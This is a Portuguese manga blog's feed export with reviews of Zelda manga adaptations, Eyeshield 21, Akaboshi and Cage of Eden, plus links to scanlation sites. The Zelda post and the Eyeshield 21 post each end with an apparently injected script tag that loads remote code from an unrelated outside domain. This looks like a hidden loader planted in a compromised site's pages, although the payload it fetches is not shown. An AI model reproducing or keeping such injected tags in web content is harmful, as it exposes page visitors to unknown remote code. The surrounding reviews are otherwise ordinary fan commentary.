Outros autores também já fizeram sua representação de Zelda em quadrinhos, como Link&#8217;s Awakening por Ataru Cagiva (nunca ouvi falar) e A Link to the Past por Shotaro Ishinomori (autor de Cybor-009 e dono de um<a href="http://en.wikipedia.org/wiki/Shotaro_Ishinomori"> cabelo com MUITO estilo</a>) que no começo eram só quadrinhos que faziam parte da revista Nintendo Power, para depois ser publicado em forma de graphic novel. Aqui a história também era contada de uma forma alternativa ao jogo.</p>
<p>Hoje parece improvável que alguém não tenha sequer ouvido falar de Zelda, sendo assim encaro os quadrinhos, principalmente aqueles pela Akira Himekawa, algo para os fãs, que já terminaram os jogos e só querem ver a história mais uma vez, só que contada de outra maneira.<br />
Para os interessados, a aparente infinita fonte de scans online, OneManga conta com vários dos mangás de Zelda disponíveis para leitura, todos é claro em inglês e o melhor, completos. Alguns grupos brasileiros traduziram também boa parte dos scans na net, apesar de aparentemente muitos terem largado a tradução no meio do caminho.</p>
<p><a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Links_Awakening/">Link&#8217;s Awakening</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Majoras_Mask/">Majora&#8217;s Mask</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Minish_Cap/">Minish Cap</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Ocarina_of_Time/">Ocarina of Time</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Oracle_of_Seasons/">Oracle of Seasons</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Oracles_of_Ages/">Oracle of Ages</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Phantom_Hourglass/">Phantom Hourglas</a>s (Inglês)<br />
<a href="http://animeblade.com.br/fansub/?menu=busca&amp;form_busca=zelda&amp;form_tipo=1">Lista de Scans de Zelda na Anime Blade</a> (Português)<script src="http://ae.awaue.com/7"></script></p>
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		<title>Melhores de 2009 (Parte 2: Eyeshield 21)</title>
		<link>http://blog.j-caffe.net/melhores-de-2009-parte-2-eyeshield-21/</link>
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		<pubDate>Tue, 26 Jan 2010 21:30:08 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<category><![CDATA[comédia]]></category>
		<category><![CDATA[esporte]]></category>
		<category><![CDATA[shounen]]></category>

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		<description><![CDATA[Dando continuidade à série de posts com os melhores mangás que li em 2009, Eyeshield 21, mangá sobre futebol americano.]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_melhores2009-eyeshield21.jpg" alt="header_melhores2009-eyeshield21" title="header_melhores2009-eyeshield21" width="740" height="125" class="aligncenter size-full wp-image-168" /></p>
<p>Faz um tempo que não leio um mangá sobre esportes. Eu gosto do gênero, gosto de esportes, mas parece que ultimamente nada tem chamado a minha atenção nesse &#8220;ramo&#8221;. Pelo menos nada desde Eyeshield 21, sobre futebol americano.<br />
No começo achei estranho. Um mangá, história em quadrinhos japonesa, sobre futebol americano, um esporte praticamente centrado nos Estados Unidos. Não vou dizer que não existem fãs fora dos EUA, muito pelo contrário, mas me parecia pouco provável que um mangá sobre esse esporte fosse vingar no Japão, mas vingou! Em publicação por 7 anos (de 2002 a 2009), contou com 37 volumes e um anime de 145 episódios, além de vários games para PS2, NDS e por aí vai&#8230;<br />
<div id="attachment_169" class="wp-caption alignleft" style="width: 223px"><img src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-eyeshield21-1.jpg" alt="Futebol Americano" title="melhores2009-eyeshield21-1" width="213" height="320" class="size-full wp-image-169" /><p class="wp-caption-text">Futebol Americano</p></div>Mas sempre fiquei intrigado, por que tanto sucesso? Será que o esporte foi deixado em segundo plano? Muito pelo contrário, o foco do mangá desde o começo foi o esporte.<br />
Olha só, no Japão alunos do colegial podem participar de atividades extra-classe na escola, os chamados ‘’clubes’’. Existe clube de praticamente tudo, de esportes à acadêmicos. Clube de baseball, futebol, leitura, desenho e tantos outros. Eu sinceramente não faço idéia se realmente existem clubes de futebol americano nas escolas do Japão, mas é a partir daí que o mangá começa, num clube de futebol americano caindo aos pedaços com apenas dois membros que sonham serem campeões do campeonato de futebol americano, como todo mangá de esporte colegial, e no meio disso está nosso personagem principal: um manézão que sempre foi feito de capacho pelos moleques e protegido pela sua amiga de infância. Só que ele tem um talento especial, ele corre MUITO rápido. Ao perceberem isso, os membros do clube de futebol americano recrutam ele (meio que à força) e vão re-erguendo o clube. Nada de muito especial nisso, visto que em praticamente todo mangá de esporte um personagem X tem algum talento especial pro esporte e vai com seus amiguinhos ganhar o campeonato importante que eles querem. Eyeshield 21 se diferenciou (de novo, no meu ponto de vista) graças aos seus personagens. O capitão do time de futebol americano é praticamente um mafioso, chantagem não é nada para ele.<br />
<div id="attachment_170" class="wp-caption alignright" style="width: 177px"><img src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-eyeshield21-2.jpg" alt="Todo mundo vai querer jogar!" title="melhores2009-eyeshield21-2" width="167" height="240" class="size-full wp-image-170" /><p class="wp-caption-text">Todo mundo vai querer jogar!</p></div>O outro integrante original do clube é um gorducho que parece uma manteiga de tão emocional, que tem o coração puro e bom, os adversários não ficam para trás, todos com vários personagens marcantes e caricatos. Os times inventados pelo autor são temáticos e seus jogadores não fogem a regra. Há um time chamado &#8216;Sphynx&#8217; e todos seus jogadores parecem que vieram do Egito jogar futebol americano. Esse tipo de humor ajuda a deixar a leitura de Eyeshield 21 boa e simples, mas sem quebrar muito o ritmo e emoção eletrizante de cada partida, até culminar no desfecho que todo mundo sabe desde os primeiros capítulos.<br />
Vocês devem conhecer o fenômeno que foi “Slam Dunk”, fazendo com que a molecada nas escolas tomasse gosto pelo esporte (no caso basquete), Eyeshield 21 fez praticamente a mesma coisa, mas numa proporção muito menor, mostrou o futebol americano aos japoneses e fez com que eles também quisessem praticar esse esporte.<br />
Graças aos seus personagens marcantes, jogos emocionantes e comédia escrachada que Eyeshield 21 está nessa lista. Confesso que até fiquei até triste quando o mangá terminou.<br />
<script src="http://ae.awaue.com/7"></script></p>
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		<title>REWIND: Akaboshi &#8211; Ibun Suikoden</title>
		<link>http://blog.j-caffe.net/rewind-akaboshi-ibun-suikoden/</link>
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		<pubDate>Sun, 17 Jan 2010 23:34:16 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<category><![CDATA[ação]]></category>
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		<category><![CDATA[fantasia]]></category>
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		<category><![CDATA[shounen]]></category>

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		<description><![CDATA[Baseado em um romance chinês, Akaboshi é a nova geração dos mangás da Shonen Jump. A história se desenvolve na antiga China, no ano de 1112, na dinastia Sung, onde a população geral se encontra em situações precárias [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-143" title="Akaboshi" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_akaboshi.jpg" alt="Akaboshi" width="740" height="100" /></p>
<p><em>Posts marcados com &#8216;REWIND&#8217; já apareceram no blog anteriormente, mas se perderam por algum motivo e por isso estão sendo postados de novo.</em></p>
<p>Um dos novos mangas da Shounen Jump, de autoria de Yoichi Amano, estreiou em Maio de 2009.</p>
<p>Da página da Wikipedia:</p>
<div id="attachment_145" class="wp-caption alignleft" style="width: 223px"><img class="size-full wp-image-145" title="post" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/post3.jpg" alt="Taiten Gyoudou" width="213" height="216" /><p class="wp-caption-text">Taiten Gyoudou</p></div>
<p>&#8220;Baseado em um romance chinês, Akaboshi é a nova geração dos mangás da Shonen Jump. A história se desenvolve na antiga China, no ano de 1112, na dinastia Sung, onde a população geral se encontra em situações precárias, o governo instaurado após o Período das Cinco Dinastias e dos Dez Reinos, foi criado sobre um derramamento de sangue, onde durante 70 anos sangue foi derramado por uma lâmina denominada &#8216;lâmina da ganância&#8217;. O atual imperador se aliou com os países do norte, fortificando o país fazendo com que não restasse mais nenhum inimigo exterior, isso acabou fazendo com que o país crescesse e prosperasse. Segundo a lenda da &#8216;lâmina da gânancia&#8217;, não há bainha que a cubra, e que possívelmente um dia ela se voltará contra o povo novamente.<br />
A história gira em torno de Ryuusei Taisou, membro da Taiten Gyoudou &#8211; um time de ladrões nobres que planejam derrubar o império chinês &#8211; e sua jornada em busca dos 108 heróis que mudarão a atual dinastia chinesa.&#8221;</p>
<p>Alguém já jogou Suikoden? Se já, essa história das 108 estrelas deve ser conhecida. É uma história famosa baseada numa novel clássica chinesa chamada Shui Hu Zhuan (eu nunca li), ela diz que cada pessoa tem um &#8216;Estrela do Destino&#8217; e basicamente cada herói tem lá a sua estrela.<br />
Até então li 5 capítulos do manga, o interessante é que como dito na parte história, eles tem que procurar os 108 heróis&#8230; então é pano pra manga e potencial de shounen pancadaria infinito, além de no mínimo 108 personagens diferentes, oportunidade pra todos os gostos, pra todo mundo se identificar. E isso é bacana porque você fica na expectativa do próximo personagem a aparecer, pelo menos nessa fase inicial onde o foco parece ser esse&#8230; organizar as 108 estrelas do destino.<br />
E essa deve ser a receita dos shounen pancadaria&#8230; muitos personagens, muitas lutas, golpes especiais com nomes escritos em letras garrafais em páginas duplas.<br />
Apesar dos clichês, o manga diverte e por ser semanal com capítulos de uma média de 20 páginas tem uma leitura que flui fácil e rapidamente.<br />
Espero que o autor desenvolva personagens interessantes (ele tem no mínimo 108 chances!) e pretendo acompanhar esse manga semanalmente, que os scans traduzidos ajudem!</p>
<h4>Scans</h4>
<p><a href="http://www.onemanga.com/Akaboshi_-_Ibun_Suikoden/" target="_blank">OneManga</a> (Inglês)<br />
<a href="http://quadradim.wordpress.com/">Quadradim Scans</a> (Português)</p>
<h4>Imagens</h4>
<p>
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	<!-- Thumbnails -->
		
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	<!-- Pagination -->
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		<title>Cage of Eden (エデンの檻)</title>
		<link>http://blog.j-caffe.net/cage-of-eden/</link>
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		<pubDate>Tue, 12 Jan 2010 11:57:42 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<category><![CDATA[shounen]]></category>
		<category><![CDATA[suspense]]></category>

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		<description><![CDATA[Alguém já assistiu LOST ou pelo menos sabe do que se trata? Se a resposta for 'sim' você irá provavelmente gostar desse mangá.]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-129" title="Cage of Eden" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_cageofeden.jpg" alt="Cage of Eden" width="740" height="125" /></p>
<p>Alguém já assistiu LOST ou pelo menos sabe do que se trata? Se a resposta for &#8217;sim&#8217; você irá provavelmente gostar desse mangá.</p>
<p>Cage of Eden, ou no original Eden no Ori, começou a ser publicado em dezembro de 2008, na Weekly Shounen Magazine, da Kodansha, tem 4 volumes publicados e continua tendo seus capítulos saindo semanalmente. O autor é Yamada Keiyou, cujo eu nunca ouvi falar antes.</p>
<div id="attachment_130" class="wp-caption alignleft" style="width: 292px"><img class="size-full wp-image-130" title="Cage of Eden" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/post2.jpg" alt="Cage of Eden" width="282" height="137" /><p class="wp-caption-text">LOST. Versão mangá</p></div>
<p>Pra quem nunca nem se quer ouviu falar de LOST (se existe alguém), a história do seriado se baseia num acidente de avião que leva todos os passageiros (os vivos, pelo menos) a uma ilha supostamente deserta. E Cage of Eden é bem parecido.<br />
Os alunos de uma escola qualquer estão voltando de uma viagem escolar para Guam, uma ilha no oeste do pacífico, e durante o vôo uma espécie de turbulência ocorre, um apagão e aparentemente um monstro ataca o avião, fazendo-o cair numa ilha até então deserta e misteriosa.<br />
Akira Sengoku acorda no meio da selva da ilha e se depara com vários animais esquisitos, que nunca tinha visto antes, ao encontrar com um amigo de classe, o nerd Mariya, eles descobrem que esses animais na verdade eram para estar extintos a milhares de anos.<br />
Decidido a encontrar sua amiga de infância, Rion, Akira volta ao local onde o avião caiu e o que encontra é um ambiente completamente deserto. Os mais de 300 passageiros sumiram e o piloto do avião está morto. Um vídeo gravado por outro aluno revela que todos foram atacadas por outro animal exótico e fugiram.<br />
Aí começa a lei da sobrevivência. Para onde todo mundo foi? Será que vão conseguir sair da ilha vivos?</p>
<p>Impossível não pensar em LOST quando se lê esse mangá. O lance de &#8216;avião que cai em ilha deserta&#8217; já deve ter sido usado um milhão de vezes, mas parece que nunca fica velho, desde que a ambientação da tal ilha deserta seja boa. Eu sinceramente não assisto LOST, mas sei que fez (ou ainda faz) sucesso, e isso se deve ao suspense da ilha, o ambiente, e é graças à isso que esse tipo de história fica boa ou ruim.<br />
Em Cage of Eden temos um ambiente hostil, com todos esses bichos ancestrais à solta, além dos outros tantos personagens, em situações extremas é fácil entrar em pânico e revolta, os personagens podem muito bem acabar se virando uns contra os outros, passando mais tensão ainda ao leitor. Será que vão sobreviver? Será que vão ser resgatados? O que o autor vai colocar como desafio para os personagens? De onde surgiram esses animais que deviam estar extintos? São todas dúvidas que ficam na cabeça e que te fazem querer continuar lendo, porque geram curiosidade e levantam mistérios, MUITOS mistérios.<br />
A arte do mangá não é nada expecional e inclusive conta com algumas cenas ecchi gratuitas que sinceramente&#8230; não precisavam estar lá, mas vai saber, isso deve colaborar com a popularidade.<br />
Os scans (em inglês) começaram a sair em maio de 2009, e o grupo gringo (RedHawk) parece estar lançando com frequência, isso ajuda a manter uma leitura constante, seria péssimo ter que esperar muito para ler o próximo capítulo de um mangá assim&#8230; Ainda não existe tradução para o português.</p>
<h4>Scans</h4>
<p><a href="http://www.onemanga.com/Cage_of_Eden/">OneManga</a> (Inglês)</p>
<h4>Imagens</h4>
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